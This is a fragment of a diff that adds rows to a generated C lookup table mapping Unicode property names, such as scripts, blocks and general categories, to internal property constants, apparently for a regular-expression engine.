+ { 9, 7227, 1929, 5, 5, PL_POSIXUPPER } /* posixupper */,
+ { 0, 8016, 73, 4, 2, PL_LB__EM } /* gcb=em */,
+ { 5, 184, 5801, 2, 12, PL_KHMERSYMBOLS } /* iskhmersymbols */,
+ { 0, 7459, 8071, 3, 5, PL_OSGE } /* sc=osage */,
+ { 6, 7380, 6556, 4, 10, PL_CCC__BR } /* ccc=belowright */,
+ { 0, 7380, 7924, 4, 6, PL_CCC__9 } /* ccc=virama */,
+ { 5, 6263, 1496, 10, 2, PL_LB__CB } /* linebreak=cb */,
+ { 1, 184, 1001, 2, 11, PL_ENCLOSEDCJK } /* isenclosedcjk */,
+ { 4, 2229, 1627, 16, 7, PL_XPOSIXCNTRL } /* generalcategory=control */,
+ { 1, 4198, 2969, 4, 6, PL_INGEORGIAN } /* ingeorgian */,
+ { 2, 7136, 2598, 6, 19, PL_MERO } /* block=meroitichieroglyphs */,
+ { 6, 3129, 4494, 17, 15, PL_NARB } /* scriptextensions=oldnortharabian */,
+ { 0, 0, 0, 42, 0, PL_UCASEXT } /* unifiedcanadianaboriginalsyllabicsextended */,
+ { 10, 2229, 6351, 16, 11, PL_NO } /* generalcategory=othernumber */,
+ { 5, 8011, 32, 3, 2, PL_CS } /* gc=cs */,
+ { 7, 7288, 8111, 7, 4, PL_SC__TAKR } /* script=takr */,
+ { 1, 6706, 8879, 10, 3, PL_IN__6_DOT_2 } /* presentin=v62 */,
+ { 4, 8272, 0, 4, 0, PL_CWCF } /* cwcf */,
+ { 1, 8408, 0, 3, 0, PL_MRO } /* mro */,
+ { 1, 7288, 8536, 7, 4, PL_TALU } /* script=talu */,
+ { 0, 8026, 7044, 3, 8, PL_INPAUCINHAU } /* inpaucinhau */,
+ { 2, 184, 2598, 2, 19, PL_MERO } /* ismeroitichieroglyphs */,
+ { 0, 7288, 6806, 7, 10, PL_WARA } /* script=warangciti */,
+ { 0, 1887, 3223, 9, 3, -PL_XPOSIXLOWER } /* lowercase=no */,
+ { 0, 8196, 9, 4, 2, PL_AGE__NA } /* age=na */,
+ { 2, 6890, 8091, 4, 5, PL_INRUNIC } /* blk=runic */,
+ { 8, 2985, 3581, 18, 2, PL_IDST } /* idstrinaryoperator=t */,
+ { 3, 6890, 7443, 4, 7, PL_INGRANTHA } /* blk=grantha */,
+ { 1, 7136, 7674, 6, 7, PL_UCASEXT } /* block=ucasext */,
+ { 22, 2229, 5814, 17, 11, PL_NL } /* generalcategory=letternumber */,
+ { 4, 1897, 0, 21, 0, PL_CWT } /* changeswhentitlecased */,
+ { 1, 1206, 4011, 3, 5, PL_INTANGUT } /* intangut */,
+ { 3, 6890, 6776, 4, 10, PL_SUPARROWSB } /* blk=suparrowsb */,
+ { 0, 7136, 2674, 6, 19, PL_SUNDANESESUP } /* block=sundanesesupplement */,
+ { 2, 8016, 5772, 4, 5, PL_WB__EB } /* gcb=ebase */,
+ { 8, 6890, 2674, 4, 12, PL_SUNDANESESUP } /* blk=sundanesesup */,
+ { 4, 8780, 7951, 3, 5, PL_CWT } /* cwt=true */,
+ { 0, 6890, 1589, 4, 14, PL_LATINEXTA } /* blk=latinextendeda */,
+ { 4, 8026, 809, 3, 17, PL_PHONETICEXT } /* inphoneticextensions */,
+ { 1, 1589, 0, 23, 0, PL_LATINEXTADDITIONAL } /* latinextendedadditional */,
+ { 1, 6706, 8846, 10, 3, PL_IN__2_DOT_1 } /* presentin=v21 */,
+ { 2, 7653, 0, 7, 0, PL_TIBT } /* tibetan */,
+ { 7, 7288, 6008, 7, 4, PL_HUNG } /* script=hung */,
+ { 4, 4284, 4026, 14, 6, PL_GCB__L } /* hangulsyllabletype=l */,
+ { 0, 8096, 5121, 4, 14, PL_PHLP } /* scx=psalterpahlavi */,
+ { 5, 6613, 7829, 3, 5, PL_HYPHEN } /* ishyphen */,
+ { 8, 6613, 4832, 3, 3, PL_HIRA } /* ishira */,
+ { 0, 6798, 0, 8, 0, PL_ASSIGNED } /* assigned */,
+ { 4, 2229, 1027, 16, 2, PL_SO } /* generalcategory=so */,
+ { 2, 3129, 3610, 17, 4, PL_BOPO } /* scriptextensions=bopo */,
+ { 1, 184, 3882, 2, 16, PL_MYANMAREXTA } /* ismyanmarextendeda */,
+ { 0, 7798, 7997, 6, 4, PL_COMPEX } /* compex=yes */,
+ { 5, 7288, 7639, 7, 7, PL_LANA } /* script=taitham */,
+ { 8, 7136, 2044, 6, 11, PL_INMEETEIMAYEK } /* block=meeteimayek */,
+ { 0, 3129, 8316, 17, 4, PL_HANO } /* scriptextensions=hano */,
+ { 0, 6263, 6666, 10, 10, PL_LB__NS } /* linebreak=nonstarter */,
+ { 0, 8400, 0, 4, 0, PL_MIAO } /* miao */,
+ { 0, 4314, 5009, 13, 14, PL_JG__MANICHAEANTETH } /* joininggroup=manichaeanteth */,
+ { 1, 1897, 3223, 21, 2, -PL_CWT } /* changeswhentitlecased=n */,
+ { 17, 5544, 5219, 13, 13, PL_NV__1000000000000 } /* numericvalue=1000000000000 */,
+ { 41, 4314, 6726, 13, 10, PL_JG__REVERSEDPE } /* joininggroup=reversedpe */,
+ { 4, 4314, 6064, 13, 3, PL_JG__GAF } /* joininggroup=gaf */,
+ { 0, 1887, 3581, 5, 2, PL_XPOSIXLOWER } /* lower=t */,
+ { 1, 2895, 0, 4, 0, PL_ETHI } /* ethi */,
+ { 0, 3129, 2360, 17, 4, PL_MAND } /* scriptextensions=mand */,
+ { 23, 2990, 804, 4, 4, PL_ARROWS } /* inarrows */,
+ { 1, 6041, 0, 12, 0, PL_PLAYINGCARDS } /* playingcards */,
+ { 0, 7136, 1686, 6, 16, PL_INDICNUMBERFORMS } /* block=indicnumberforms */,
+ { 1, 3129, 7, 17, 18, PL_CANS } /* scriptextensions=canadianaboriginal */,
+ { 0, 7136, 2465, 6, 11, PL_COUNTINGROD } /* block=countingrod */,
+ { 1, 6616, 3223, 10, 3, -PL_DEP } /* deprecated=no */,
+ { 0, 2985, 7768, 18, 2, -PL_IDST } /* idstrinaryoperator=f */,
+ { 0, 184, 3675, 3, 15, PL_CYPRIOTSYLLABARY } /* iscypriotsyllabary */,
+ { 1, 7689, 5610, 3, 11, PL_ALPHABETICPF } /* isalphabeticpf */,
+ { 3, 4771, 0, 14, 0, PL_INGREEK } /* greekandcoptic */,
+ { 8, 513, 3223, 16, 2, -PL_UIDEO } /* unifiedideograph=n */,
+ { 4, 21, 7492, 2, 7, PL_INKANNADA } /* inkannada */,
+ { 8, 184, 2949, 2, 18, PL_INPUNCTUATION } /* isgeneralpunctuation */,
+ { 0, 3770, 0, 16, 0, PL_LINEARBSYLLABARY } /* linearbsyllabary */,
+ { 5, 2369, 3521, 4, 5, PL_VERTSPACE } /* vertspace */,
+ { 1, 184, 3323, 3, 16, PL_CYRILLICEXTA } /* iscyrillicextendeda */,
+ { 1, 1354, 7951, 24, 5, PL_COMPEX } /* fullcompositionexclusion=true */,
+ { 0, 1543, 0, 18, 0, PL_GEOMETRICSHAPESEXT } /* geometricshapesext */,
+ { 0, 8096, 7882, 4, 6, PL_LYDI } /* scx=lydian */,
+ { 23, 6890, 540, 4, 30, PL_CJKEXTB } /* blk=cjkunifiedideographsextensionb */,
+ { 1, 8816, 7944, 3, 2, PL_NV__12 } /* nv=12 */,
+ { 0, 7136, 2636, 6, 12, PL_MONGOLIANSUP } /* block=mongoliansup */,
+ { 2, 2229, 106, 16, 6, PL_S } /* generalcategory=symbol */,
+ { 5, 8011, 1621, 3, 6, PL_CF } /* gc=format */,
+ { 4, 7136, 2249, 6, 10, PL_INGLAGOLITIC } /* block=glagolitic */,
+ { 1, 1417, 849, 9, 10, PL_CO } /* category=privateuse */,
+ { 1, 6890, 3339, 4, 17, PL_CYRILLICEXTB } /* blk=cyrillicextendedb */,
+ { 1, 7459, 7128, 3, 8, PL_BASS } /* sc=bassavah */,
+ { 3, 7288, 7043, 7, 9, PL_PAUC } /* script=paucinhau */,
+ { 6, 184, 5717, 2, 12, PL_ETHIOPICEXTA } /* isethiopicexta */,
+ { 0, 660, 0, 30, 0, PL_CJKEXTF } /* cjkunifiedideographsextensionf */,
+ { 13, 5544, 7710, 13, 2, PL_NV__60 } /* numericvalue=60 */,
+ { 3, 8240, 2289, 3, 11, PL_BC__L } /* bc=lefttoright */,
+ { 2, 1746, 34, 21, 2, PL_GREXT } /* graphemeclusterbreak=ex */,
+ { 0, 3509, 3581, 17, 2, PL_PATWS } /* patternwhitespace=t */,
+ { 2, 3946, 7768, 16, 6, -PL_STERM } /* sentenceterminal=false */,
+ { 0, 3129, 5933, 17, 12, PL_GONM } /* scriptextensions=masaramgondi */,
+ { 40, 7288, 4105, 8, 3, PL_BAMU } /* script=bamu */,
+ { 0, 8026, 2295, 5, 5, PL_INPC__RIGHT } /* inpc=right */,
+ { 0, 7478, 107, 3, 5, PL_S } /* issymbol */,
+ { 1, 7136, 6318, 6, 11, PL_MYANMAREXTB } /* block=myanmarextb */,
+ { 1, 4402, 5959, 4, 10, PL_INMENDEKIKAKUI } /* inmendekikakui */,
+ { 1, 7136, 8432, 6, 3, PL_INNKO } /* block=nko */,
+ { 0, 8096, 8540, 4, 4, PL_TAML } /* scx=taml */,
+ { 8, 3946, 7768, 16, 2, -PL_STERM } /* sentenceterminal=f */,
+ { 0, 6210, 3273, 4, 15, PL_UCAS } /* incanadiansyllabics */,
+ { 0, 3129, 6806, 17, 10, PL_WARA } /* scriptextensions=warangciti */,
+ { 1, 7288, 1797, 7, 4, PL_SC__MODI } /* script=modi */,
+ { 2, 184, 3390, 2, 11, PL_ETHIOPICEXT } /* isethiopicext */,
+ { 1, 1417, 5082, 9, 11, PL_MC } /* category=spacingmark */,
+ { 3, 7459, 8460, 3, 4, PL_SC__PHLP } /* sc=phlp */,
+ { 6, 5134, 5094, 3, 13, PL_PHONETICEXTSUP } /* isphoneticextsup */,
+ { 0, 7380, 8654, 7, 3, PL_CCC__133 } /* ccc=ccc133 */,
+ { 1, 184, 7513, 2, 7, PL_MAND } /* ismandaic */,
+ { 0, 7457, 8051, 5, 5, PL_INSC__NUKTA } /* insc=nukta */,
+ { 3, 3129, 3458, 17, 10, PL_MANI } /* scriptextensions=manichaean */,
+ { 0, 7485, 17, 5, 1, PL_XPEO } /* isxpeo */,
+ { 1, 6890, 3898, 4, 16, PL_MYANMAREXTB } /* blk=myanmarextendedb */,
+ { 0, 6890, 3111, 4, 4, PL_RUMI } /* blk=rumi */,
+ { 2, 6890, 7513, 4, 7, PL_INMANDAIC } /* blk=mandaic */,
+ { 2, 4314, 5466, 13, 13, PL_JG__MANICHAEANNUN } /* joininggroup=manichaeannun */,
+ { 1, 4542, 7914, 4, 4, PL_TELU } /* istelugu */,
+ { 5, 8340, 5746, 3, 7, PL_JG__SEMKATH } /* jg=semkath */,
+ { 0, 3526, 3223, 17, 3, -PL_RI } /* regionalindicator=no */,
+ { 0, 8508, 7507, 4, 6, PL_SC__LINA } /* sc=lineara */,
+ { 0, 2100, 295, 3, 3, PL_OSMA } /* isosma */,
+ { 0, 6890, 3271, 4, 17, PL_UCAS } /* blk=canadiansyllabics */,
+ { 0, 6210, 7416, 3, 6, PL_CJKEXTE } /* incjkexte */,
+ { 2, 6890, 113, 4, 35, PL_DIACRITICALSFORSYMBOLS } /* blk=combiningdiacriticalmarksforsymbols */,
+ { 2, 974, 8901, 24, 2, PL_CCC__36 } /* canonicalcombiningclass=36 */,
+ { 0, 1929, 7768, 5, 6, -PL_XPOSIXUPPER } /* upper=false */,
+ { 1, 6890, 4614, 4, 15, PL_VEDICEXT } /* blk=vedicextensions */,
+ { 0, 974, 8224, 24, 4, PL_CCC__216 } /* canonicalcombiningclass=atar */,
+ { 0, 4314, 4792, 13, 3, PL_JG__HEH } /* joininggroup=heh */,
+ { 2, 7288, 8360, 7, 4, PL_SC__KTHI } /* script=kthi */,
+ { 1, 7136, 6005, 6, 12, PL_INOLDHUNGARIAN } /* block=oldhungarian */,
+ { 0, 8096, 8312, 4, 4, PL_HAN } /* scx=hani */,
+ { 3, 5557, 7768, 13, 2, -PL_PATSYN } /* patternsyntax=f */,
+ { 5, 7459, 8472, 3, 4, PL_PRTI } /* sc=prti */,
+ { 1, 8096, 7918, 4, 4, PL_THAA } /* scx=thaa */,
+ { 8, 4554, 7562, 14, 7, PL_SB__LE } /* sentencebreak=oletter */,
+ { 4, 8006, 7997, 5, 4, PL_CWKCF } /* cwkcf=yes */,
+ { 10, 6263, 202, 10, 2, PL_LB__SA } /* linebreak=sa */,
+ { 0, 184, 1589, 2, 14, PL_LATINEXTA } /* islatinextendeda */,
+ { 0, 184, 8086, 2, 5, PL_QMARK } /* isqmark */,
+ { 3, 1887, 7997, 9, 4, PL_XPOSIXLOWER } /* lowercase=yes */,
+ { 11, 8340, 5427, 3, 13, PL_JG__MALAYALAMLLLA } /* jg=malayalamllla */,
+ { 2, 3946, 3581, 16, 2, PL_STERM } /* sentenceterminal=t */,
+ { 1, 7876, 0, 6, 0, PL_LYCI } /* lycian */,
+ { 4, 8196, 8852, 4, 3, PL_AGE__3_DOT_1 } /* age=v31 */,
+ { 0, 184, 1160, 3, 24, PL_CWKCF } /* ischangeswhennfkccasefolded */,
+ { 10, 4644, 0, 15, 0, PL_ZANB } /* zanabazarsquare */,
+ { 4, 2100, 8449, 3, 3, PL_ORKH } /* isorkh */,
+ { 6, 8368, 0, 4, 0, PL_LAO } /* laoo */,
+ { 10, 21, 2128, 2, 21, PL_YIJING } /* inyijinghexagramsymbols */,
+ { 3, 1963, 0, 7, 0, PL_RADICAL } /* radical */,
+ { 4, 6613, 4800, 3, 13, PL_HIGHSURROGATES } /* ishighsurrogates */,
+ { 0, 7288, 7367, 8, 6, PL_SC__BENG } /* script=bengali */,
+ { 11, 8340, 2427, 3, 19, PL_JG__BURUSHASKIYEHBARREE } /* jg=burushaskiyehbarree */,
+ { 0, 5645, 3075, 10, 18, PL_BC__B } /* bidiclass=paragraphseparator */,
+ { 2, 8504, 8935, 3, 2, PL_SB__XX } /* sb=xx */,
+ { 1, 8376, 3642, 3, 16, PL_LB__CP } /* lb=closeparenthesis */,
+ { 1, 7459, 8476, 3, 4, PL_SC__COPT } /* sc=qaac */,
+ { 7, 5645, 2329, 10, 11, PL_BC__R } /* bidiclass=righttoleft */,
+ { 8, 8011, 1189, 3, 2, PL_LT } /* gc=lt */,
+ { 3, 7136, 1107, 6, 26, PL_KATAKANAEXT } /* block=katakanaphoneticextensions */,
+ { 5, 1701, 7951, 2, 5, PL_SD } /* sd=true */,
+ { 6, 1474, 1, 22, 1, PL_BPT__N } /* bidipairedbrackettype=n */,
+ { 4, 6935, 0, 9, 0, PL_LATINEXTB } /* latinextb */,
+ { 1, 6890, 1450, 4, 24, PL_SUPSYMBOLSANDPICTOGRAPHS } /* blk=supsymbolsandpictographs */,
+ { 0, 8006, 0, 5, 0, PL_CWKCF } /* cwkcf */,
+ { 1, 4542, 2753, 5, 16, PL_TERM } /* isterminalpunctuation */,
+ { 8, 7136, 5336, 6, 13, PL_GREEKEXT } /* block=greekextended */,
+ { 2, 6890, 316, 4, 33, PL_MISCMATHSYMBOLSB } /* blk=miscellaneousmathematicalsymbolsb */,
+ { 0, 7380, 8639, 4, 3, PL_CCC__118 } /* ccc=118 */,
+ { 0, 7520, 0, 4, 0, PL_MARC } /* marc */,
+ { 0, 4104, 0, 5, 0, PL_BAMU } /* bamum */,
+ { 8, 8572, 5762, 3, 3, PL_LB__ZWJ } /* wb=zwj */,
+ { 0, 415, 3223, 11, 2, -PL_IDEO } /* ideographic=n */,
+ { 2, 4449, 7996, 4, 5, PL_NFCQC__Y } /* nfcqc=yes */,
+ { 2, 436, 7951, 5, 5, PL_NCHAR } /* nchar=true */,
+ { 0, 4402, 960, 3, 4, PL_MUSIC } /* inmusic */,
+ { 1, 8196, 8711, 4, 3, PL_AGE__3_DOT_1 } /* age=3.1 */,
+ { 2, 7288, 8280, 7, 4, PL_SC__CYRL } /* script=cyrl */,
+ { 0, 6890, 4614, 4, 8, PL_VEDICEXT } /* blk=vedicext */,
+ { 0, 2750, 3581, 19, 2, PL_TERM } /* terminalpunctuation=t */,
+ { 0, 3129, 7912, 17, 4, PL_TELU } /* scriptextensions=telu */,
+ { 8, 5544, 7714, 13, 2, PL_NV__30 } /* numericvalue=30 */,
+ { 0, 7136, 1635, 6, 23, PL_SUPPUNCTUATION } /* block=supplementalpunctuation */,
+ { 1, 5657, 7951, 5, 5, PL_BIDIM } /* bidim=true */,
+ { 2, 7639, 0, 7, 0, PL_LANA } /* taitham */,
+ { 1, 3516, 3581, 10, 2, PL_XPOSIXSPACE } /* whitespace=t */,
+ { 0, 7459, 8552, 3, 4, PL_SC__TGLG } /* sc=tglg */,
+ { 3, 8340, 5023, 3, 14, PL_JG__MANICHAEANYODH } /* jg=manichaeanyodh */,
+ { 2, 3129, 7918, 17, 6, PL_THAA } /* scriptextensions=thaana */,
+ { 1, 974, 3262, 24, 5, PL_CCC__B } /* canonicalcombiningclass=below */,
+ { 0, 1417, 6796, 9, 10, PL_CN } /* category=unassigned */,
+ { 2, 7136, 1589, 6, 14, PL_LATINEXTA } /* block=latinextendeda */,
+ { 0, 2023, 7768, 21, 6, -PL_LOE } /* logicalorderexception=false */,
+ { 0, 4402, 1798, 3, 3, PL_INMODI } /* inmodi */,
+ { 1, 5544, 5220, 13, 1, PL_NV__0 } /* numericvalue=0 */,
+ { 0, 7380, 2777, 4, 5, PL_CCC__A } /* ccc=above */,
+ { 0, 2236, 17, 10, 1, PL_LO } /* category=lo */,
+ { 0, 8816, 7750, 3, 6, PL_NV__800000 } /* nv=800000 */,
+ { 2, 5252, 0, 6, 0, PL_XPOSIXXDIGIT } /* xdigit */,
+ { 0, 7828, 3223, 6, 2, -PL_HYPHEN } /* hyphen=n */,
+ { 1, 8508, 8047, 4, 4, PL_SC__LIMB } /* sc=limbu */,
+ { 0, 8096, 8364, 4, 4, PL_LANA } /* scx=lana */,
+ { 0, 7136, 2674, 6, 9, PL_INSUNDANESE } /* block=sundanese */,
+ { 8, 6506, 8589, 3, 3, PL_YI } /* isyiii */,
+ { 0, 4314, 7448, 13, 3, PL_JG__HAH } /* joininggroup=hah */,
+ { 11, 6706, 8732, 10, 3, PL_IN__5 } /* presentin=5.0 */,
+ { 1, 6472, 4466, 10, 2, PL_WB__DQ } /* wordbreak=dq */,
+ { 1, 7136, 3994, 6, 6, PL_INSYRIAC } /* block=syriac */,
+ { 4, 8816, 7720, 3, 2, PL_NV__40 } /* nv=40 */,
+ { 1, 3129, 8304, 17, 4, PL_GUJR } /* scriptextensions=gujr */,
+ { 4, 4314, 727, 13, 3, PL_JG__DAL } /* joininggroup=dal */,
+ { 1, 34, 7768, 3, 6, -PL_EXT } /* ext=false */,
+ { 4, 6890, 4813, 4, 7, PL_KANASUP } /* blk=kanasup */,
+ { 1, 8011, 1690, 3, 2, PL_CN } /* gc=cn */,
+ { 6, 7459, 7681, 3, 7, PL_ZZZZ } /* sc=unknown */,
+ { 0, 1417, 106, 9, 6, PL_S } /* category=symbol */,
+ { 1, 6613, 7451, 3, 6, PL_HANO } /* ishanunoo */,
+ { 10, 1354, 7768, 24, 2, -PL_COMPEX } /* fullcompositionexclusion=f */,
+ { 0, 6890, 7646, 4, 7, PL_INTAIVIET } /* blk=taiviet */,
+ { 1, 8011, 8001, 3, 5, PL_XPOSIXCNTRL } /* gc=cntrl */,
+ { 10, 4923, 5827, 4, 5, PL_MAHJONG } /* inmahjong */,
+ { 0, 5544, 8624, 13, 3, PL_NV__1_SLASH_7 } /* numericvalue=1/7 */,
+ { 2, 5544, 8913, 13, 2, PL_NV__47 } /* numericvalue=47 */,
+ { 4, 184, 4404, 2, 15, PL_MERC } /* ismeroiticcursive */,
+ { 3, 7906, 2018, 4, 3, PL_SC__KTHI } /* sc=kthi */,
+ { 11, 3057, 0, 18, 0, PL_ORNAMENTALDINGBATS } /* ornamentaldingbats */,
+ { 0, 7288, 8436, 7, 4, PL_NSHU } /* script=nshu */,
+ { 18, 3129, 6980, 17, 9, PL_NBAT } /* scriptextensions=nabataean */,
+ { 0, 7380, 8187, 7, 2, PL_CCC__27 } /* ccc=ccc27 */,
+ { 11, 6706, 8747, 10, 3, PL_IN__6 } /* presentin=6.0 */,
+ { 0, 8240, 3039, 3, 18, PL_BC__LRI } /* bc=lefttorightisolate */,
+ { 0, 7380, 8160, 4, 2, PL_CCC__13 } /* ccc=13 */,
+ { 1, 4314, 8042, 14, 4, PL_JG__KHAPH } /* joininggroup=khaph */,
+ { 9, 4923, 7516, 5, 4, PL_INMANDAIC } /* inmandaic */,
+ { 3, 6713, 8861, 3, 3, PL_IN__4_DOT_1 } /* in=v41 */,
+ { 0, 5657, 7997, 12, 2, PL_BIDIM } /* bidimirrored=y */,
+ { 0, 6472, 1083, 10, 2, PL_LB__LF } /* wordbreak=lf */,
+ { 17, 3129, 2674, 17, 9, PL_SUND } /* scriptextensions=sundanese */,
+ { 0, 974, 7709, 27, 2, PL_CCC__16 } /* canonicalcombiningclass=ccc16 */,
+ { 0, 7380, 4538, 4, 2, PL_CCC__0 } /* ccc=nr */,
+ { 1, 3722, 0, 16, 0, PL_HIGHPUSURROGATES } /* highpusurrogates */,
+ { 0, 8096, 7597, 4, 7, PL_SHAW } /* scx=shavian */,
+ { 1, 8240, 2329, 3, 11, PL_BC__R } /* bc=righttoleft */,
+ { 1, 184, 2466, 3, 10, PL_COUNTINGROD } /* iscountingrod */,
+ { 4, 184, 5825, 2, 12, PL_MAHJONG } /* ismahjongtiles */,
+ { 2, 4314, 5502, 13, 3, PL_JG__TAW } /* joininggroup=taw */,
+ { 0, 8320, 0, 4, 0, PL_HLUW } /* hluw */,
+ { 0, 7136, 8428, 6, 4, PL_INNEWA } /* block=newa */,
+ { 1, 1855, 7997, 21, 2, PL_CWCM } /* changeswhencasemapped=y */,
+ { 0, 3129, 7359, 17, 7, PL_AVST } /* scriptextensions=avestan */,
+ { 0, 8096, 5777, 4, 4, PL_HEBR } /* scx=hebr */,
+ { 1, 4314, 5528, 13, 3, PL_JG__WAW } /* joininggroup=waw */,
+ { 0, 8340, 6533, 3, 3, PL_JG__QAF } /* jg=qaf */,
+ { 0, 7459, 8468, 3, 4, PL_MIAO } /* sc=plrd */,
+ { 3, 7646, 0, 7, 0, PL_TAVT } /* taiviet */,
+ { 4, 7457, 5297, 5, 13, PL_INSC__CONSONANTDEAD } /* insc=consonantdead */,
+ { 0, 8340, 4995, 3, 14, PL_JG__MANICHAEANRESH } /* jg=manichaeanresh */,
+ { 0, 6208, 7768, 5, 6, -PL_JOINC } /* joinc=false */,
+ { 0, 6472, 497, 11, 6, PL_WB__NU } /* wordbreak=numeric */,
+ { 25, 8011, 4569, 3, 15, PL_LT } /* gc=titlecaseletter */,
+ { 2, 8404, 0, 4, 0, PL_MLYM } /* mlym */,
+ { 1, 8376, 722, 3, 2, PL_LB__CL } /* lb=cl */,
+ { 0, 6554, 6882, 3, 8, PL_INBHAIKSUKI } /* inbhaiksuki */,
+ { 0, 1621, 0, 6, 0, PL_CF } /* format */,
+ { 1, 6890, 1702, 4, 22, PL_DIACRITICALSFORSYMBOLS } /* blk=diacriticalsforsymbols */,
+ { 0, 184, 7395, 3, 6, PL_CJKEXTB } /* iscjkextb */,
+ { 0, 8504, 3914, 3, 5, PL_SB__XX } /* sb=other */,
+ { 1, 3129, 5957, 17, 12, PL_MEND } /* scriptextensions=mendekikakui */,
+ { 5, 3424, 0, 4, 0, PL_IDSB } /* idsb */,
+ { 1, 7459, 8061, 3, 5, PL_OGAM } /* sc=ogham */,
+ { 8, 8011, 4239, 3, 15, PL_PD } /* gc=dashpunctuation */,
+ { 8, 7459, 6406, 3, 4, PL_SORA } /* sc=sora */,
+ { 11, 8532, 0, 4, 0, PL_TAGS } /* tags */,
+ { 0, 184, 2636, 2, 9, PL_MONG } /* ismongolian */,
+ { 1, 3129, 8192, 17, 4, PL_ADLM } /* scriptextensions=adlm */,
+ { 0, 7696, 3223, 6, 2, -PL_XPOSIXSPACE } /* wspace=n */,
+ { 3, 8376, 7265, 4, 7, PL_LB__LF } /* lb=linefeed */,
+ { 2, 8248, 17, 4, 1, PL_BPT__O } /* bpt=o */,
+ { 10, 7459, 7569, 3, 4, PL_OSMA } /* sc=osma */,
+ { 32, 6890, 6566, 4, 10, PL_BOXDRAWING } /* blk=boxdrawing */,
+ { 0, 8572, 7165, 3, 3, PL_WB__GAZ } /* wb=gaz */,
+ { 6, 8368, 0, 3, 0, PL_LAO } /* lao */,
+ { 1, 974, 8187, 24, 2, PL_CCC__27 } /* canonicalcombiningclass=27 */,
+ { 1, 47, 0, 1, 0, PL_M } /* m */,
+ { 0, 974, 8901, 27, 2, PL_CCC__36 } /* canonicalcombiningclass=ccc36 */,
+ { 5, 7478, 1312, 6, 7, PL_MC } /* isspacingmark */,
+ { 0, 7288, 7192, 7, 8, PL_SC__GUJR } /* script=gujarati */,
+ { 0, 7471, 3521, 7, 5, PL_POSIXSPACE } /* isposixspace */,
+ { 6, 8376, 7681, 3, 7, PL_LB__XX } /* lb=unknown */,
+ { 4, 7288, 8046, 7, 5, PL_SC__LIMB } /* script=limbu */,
+ { 0, 1426, 4539, 22, 15, PL_INSC__REGISTERSHIFTER } /* indicsyllabiccategory=registershifter */,
+ { 1, 2814, 0, 9, 0, PL_HALFMARKS } /* halfmarks */,
+ { 1, 7227, 7986, 5, 5, PL_POSIXBLANK } /* posixblank */,
+ { 0, 7288, 8388, 7, 4, PL_LISU } /* script=lisu */,
+ { 0, 4590, 7768, 2, 6, -PL_VS } /* vs=false */,
+ { 0, 7380, 8228, 4, 3, PL_CCC__202 } /* ccc=atb */,
+ { 0, 2229, 17, 17, 1, PL_LO } /* generalcategory=lo */,
+ { 1, 5968, 8067, 3, 4, PL_INORIYA } /* inoriya */,
+ { 0, 8240, 4730, 4, 13, PL_BC__EN } /* bc=europeannumber */,
+ { 2, 6484, 0, 10, 0, PL_IDC } /* idcontinue */,
+ { 1, 7136, 1790, 6, 22, PL_MODIFIERLETTERS } /* block=spacingmodifierletters */,
+ { 6, 7168, 7951, 8, 5, PL_EXT } /* extender=true */,
+ { 0, 6076, 7997, 11, 4, PL_BIDIC } /* bidicontrol=yes */,
+ { 0, 1306, 0, 24, 0, PL_DIACRITICALSFORSYMBOLS } /* combiningmarksforsymbols */,
+ { 1, 8376, 6087, 3, 11, PL_LB__BB } /* lb=breakbefore */,
+ { 8, 8340, 6726, 3, 10, PL_JG__REVERSEDPE } /* jg=reversedpe */,
+ { 6, 7288, 7336, 7, 4, PL_UGAR } /* script=ugar */,
+ { 1, 2229, 468, 16, 5, PL_P } /* generalcategory=punct */,
+ { 0, 4449, 47, 14, 1, PL_NFCQC__M } /* nfcquickcheck=m */,
+ { 10, 2149, 0, 20, 0, PL_HLUW } /* anatolianhieroglyphs */,
+ { 0, 8096, 6414, 5, 3, PL_BENG } /* scx=beng */,
+ { 0, 8412, 0, 4, 0, PL_MTEI } /* mtei */,
+ { 1, 2065, 7997, 21, 2, PL_NCHAR } /* noncharactercodepoint=y */,
+ { 16, 5051, 7997, 14, 2, PL_DT__NONE } /* nfkdquickcheck=y */,
+ { 0, 7816, 7997, 6, 4, PL_GRBASE } /* grbase=yes */,
+ { 0, 184, 2170, 3, 19, PL_PC } /* isconnectorpunctuation */,
+ { 4, 7226, 8081, 6, 5, PL_XPOSIXPRINT } /* xposixprint */,
+ { 19, 5645, 8804, 10, 3, PL_BC__LRI } /* bidiclass=lri */,
+ { 1, 7208, 0, 8, 0, PL_HIRA } /* hiragana */,
+ { 2, 7168, 7997, 8, 4, PL_EXT } /* extender=yes */,
+ { 1, 7, 0, 1, 0, PL_C } /* c */,
+ { 2, 4314, 5837, 13, 12, PL_JG__MALAYALAMBHA } /* joininggroup=malayalambha */,
+ { 0, 184, 8416, 2, 4, PL_MYMR } /* ismymr */,
+ { 7, 7380, 8897, 7, 2, PL_CCC__19 } /* ccc=ccc19 */,
+ { 1, 3129, 7025, 17, 9, PL_ORKH } /* scriptextensions=oldturkic */,
+ { 5, 8011, 4224, 3, 14, PL_SC } /* gc=currencysymbol */,
+ { 3, 4314, 3, 15, 1, PL_JG__KAF } /* joininggroup=kaf */,
+ { 20, 4554, 1083, 14, 2, PL_LB__LF } /* sentencebreak=lf */,
+ { 3, 6208, 3223, 5, 3, -PL_JOINC } /* joinc=no */,
+ { 2, 7136, 5531, 6, 13, PL_MISCTECHNICAL } /* block=misctechnical */,
+ { 2, 8121, 7997, 5, 2, PL_UIDEO } /* uideo=y */,
+ { 7, 7457, 2209, 5, 20, PL_INSC__CONSONANTWITHSTACKER } /* insc=consonantwithstacker */,
+ { 0, 184, 6587, 3, 9, PL_CJKSTROKES } /* iscjkstrokes */,
+ { 2, 184, 3754, 2, 16, PL_LINEARBIDEOGRAMS } /* islinearbideograms */,
+ { 0, 7136, 4105, 7, 4, PL_INBAMUM } /* block=bamum */,
+ { 0, 184, 5414, 2, 13, PL_LOWSURROGATES } /* islowsurrogates */,
+ { 2, 7689, 4091, 4, 13, PL_ARABICEXTA } /* isarabicextendeda */,
+ { 6, 7459, 5933, 3, 12, PL_GONM } /* sc=masaramgondi */,
+ { 0, 184, 283, 2, 33, PL_MISCMATHSYMBOLSA } /* ismiscellaneousmathematicalsymbolsa */,
+ { 0, 3129, 7653, 17, 7, PL_TIBT } /* scriptextensions=tibetan */,
+ { 2, 7380, 8646, 4, 2, PL_CCC__29 } /* ccc=29 */,
+ { 2, 6890, 5681, 4, 12, PL_CYRILLICEXTA } /* blk=cyrillicexta */,
+ { 0, 7840, 3521, 6, 5, PL_VERTSPACE } /* isvertspace */,
